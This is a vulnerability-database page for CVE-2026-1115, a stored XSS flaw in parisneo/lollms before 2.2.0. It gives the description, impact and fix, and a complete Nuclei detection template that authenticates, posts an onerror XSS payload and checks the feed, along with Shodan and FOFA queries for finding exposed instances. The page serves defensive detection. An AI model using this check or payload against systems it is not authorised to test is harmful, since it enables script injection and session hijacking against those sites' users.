HexBrain

Browse / CVEs / CVE-2026-1115

CVE-2026-1115· parisneo / lollms· CWE-79

parisneo/lollms < 2.2.0 - Authenticated Stored XSS

highseverity
9CVSS score
1.3%likelihood of exploitation, next 30 days
70%of all CVEs are less likely
Readycheck to confirm it

parisneo/lollms < 2.2.0 contains a stored XSS caused by unsanitized user input in create_post function in backend/routers/social/__init__.py, letting attackers inject malicious scripts executed in user browsers, exploit requires crafted post submission.

Impact

Attackers can execute malicious scripts in user browsers, leading to account takeover, session hijacking, and wormable attacks.

Fix

Update to version 2.2.0 or later.

How to confirm it

Send: POST /api/auth/token
Positive when: status_code == 200 and contains(body, "access_token")
Send: POST /api/social/posts
Positive when: status_code == 201
Send: GET /api/social/feed
Positive when: status_code == 200 and contains_all(body, "CVE20261115{{marker}}", "<img src=x onerror=alert(document.domain)>")

Run it with nuclei: nuclei -id CVE-2026-1115 -u <target>

The full check
id: CVE-2026-1115

info:
  name: parisneo/lollms < 2.2.0 - Authenticated Stored XSS
  author: str4k3r
  severity: high
  description: |
    parisneo/lollms < 2.2.0 contains a stored XSS caused by unsanitized user input in create_post function in backend/routers/social/__init__.py, letting attackers inject malicious scripts executed in user browsers, exploit requires crafted post submission.
  impact: |
    Attackers can execute malicious scripts in user browsers, leading to account takeover, session hijacking, and wormable attacks.
  remediation: |
    Update to version 2.2.0 or later.
  reference:
    - https://github.com/parisneo/lollms/commit/9767b882dbc893c388a286856beeaead69b8292a
    - https://huntr.com/bounties/099aa4fe-7165-4337-889c-3fb4f1aa71aa
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1115
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.0
    cve-id: CVE-2026-1115
    epss-score: 0.01261
    epss-percentile: 0.69861
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 4
    vendor: parisneo
    product: lollms
    shodan-query: http.title:"LoLLMs"
    fofa-query: title="LoLLMs"
  tags: cve,cve2026,lollms,ai,xss,stored,authenticated,intrusive

variables:
  marker: "{{rand_base(8)}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /api/auth/token HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{url_encode(username)}}&password={{url_encode(password)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "access_token")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: access_token
        part: body
        internal: true
        json:
          - '.access_token'

  - raw:
      - |
        POST /api/social/posts HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
        Content-Type: application/json

        {"content":"CVE20261115{{marker}} <img src=x onerror=alert(document.domain)>","visibility":"public","media":[]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
        internal: true

    extractors:
      - type: json
        name: post_id
        part: body
        internal: true
        json:
          - '.id'

  - raw:
      - |
        GET /api/social/feed HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "CVE20261115{{marker}}", "<img src=x onerror=alert(document.domain)>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from